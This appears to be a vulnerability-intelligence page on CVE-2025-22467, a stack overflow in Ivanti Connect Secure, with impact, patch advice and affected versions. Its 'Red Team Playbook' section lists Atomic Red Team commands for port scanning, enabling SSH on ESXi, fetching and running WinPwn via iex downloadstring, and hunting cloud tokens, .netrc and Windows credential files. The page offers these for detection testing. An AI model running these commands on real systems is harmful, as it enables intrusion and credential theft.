CVE-2025-22467
Overview
This vulnerability is a stack-based buffer overflow occurring in the Ivanti Connect Secure appliance prior to version 22.7R2.6. The flaw arises from improper bounds checking on input data processed by the device’s authentication or session handling components, leading to memory corruption. The affected component is the Ivanti Connect Secure VPN platform, specifically in its handling of authenticated user requests.
Vulnerability Description
A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.6 allows a remote authenticated attacker to achieve remote code execution.
Impact
An attacker with valid credentials can exploit this vulnerability to execute arbitrary code remotely on the Ivanti Connect Secure device, potentially gaining full control over the system. This enables actions such as persistent backdoor installation, data exfiltration, or disruption of VPN services. The attack requires network access and authenticated privileges (CVSS vector PR:L), but no user interaction. Successful exploitation compromises confidentiality, integrity, and availability of the device and connected network segments.
Solution
Ivanti has released a security advisory addressing this vulnerability and recommends upgrading Ivanti Connect Secure to version 22.7R2.6 or later. Detailed patch instructions and advisories are available at the Ivanti Security Advisory portal: https://forums.ivanti.com/s/article/February-Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-and-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs. Organizations should apply the update promptly to remediate the buffer overflow flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Ivanti Connect Secure is characterized as a stack-based buffer overflow, a common yet critical issue that arises when a program writes more data to a buffer located on the stack than it can hold. This overflow can lead to the overwriting of adjacent memory, potentially allowing an attacker to execute arbitrary code. In this case, the flaw exists in versions prior to 22.7R2.6, which means that any system running an affected version is at risk. The nature of stack-based buffer overflows makes them particularly dangerous, as they can be exploited to gain control over a system, execute malicious payloads, or compromise sensitive data.
Attack vectors for this vulnerability are particularly concerning due to the requirement that the attacker must be authenticated. This means that an individual with valid credentials could exploit the flaw, making it a significant threat within environments where access controls are not strictly enforced. An attacker could craft a specially designed input that exceeds the buffer limit, leading to the execution of arbitrary code. Scenarios might include an insider threat or an external attacker who has obtained credentials through phishing or other means. Once inside, the attacker could escalate privileges, move laterally within the network, or exfiltrate sensitive information, thereby amplifying the potential damage.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Ivanti Connect Secure for secure remote access. The CVSS score of 8.8 indicates a high severity level, suggesting that exploitation could lead to significant business risks, including data breaches, loss of customer trust, and potential regulatory penalties. Organizations that handle sensitive data, such as financial institutions or healthcare providers, could face severe repercussions if exploited, including legal liabilities and reputational damage. Furthermore, the potential for operational disruption due to unauthorized access or data loss could lead to significant financial losses.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First and foremost, upgrading to the latest version of Ivanti Connect Secure is essential to eliminate the risk associated with this flaw. Regular patch management practices should be enforced to ensure that all systems are updated promptly. Additionally, organizations should conduct thorough vulnerability assessments and penetration testing to identify and remediate any potential weaknesses in their security posture. Implementing robust access controls, including multi-factor authentication and least privilege principles, can also help mitigate the risk of exploitation by limiting the potential attack surface.
In conclusion, the stack-based buffer overflow in Ivanti Connect Secure presents a significant threat to organizations that utilize this product. The combination of high severity and the requirement for authenticated access creates a unique risk profile that must be addressed proactively. By adopting comprehensive detection and mitigation strategies, organizations can safeguard their systems against this vulnerability and reduce the likelihood of exploitation, thereby protecting their sensitive data and maintaining operational integrity.
Affected Products (13)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Connect Secure | All |
cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.4:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.5:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.4:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.5:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-22467 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/February-Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-and-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs |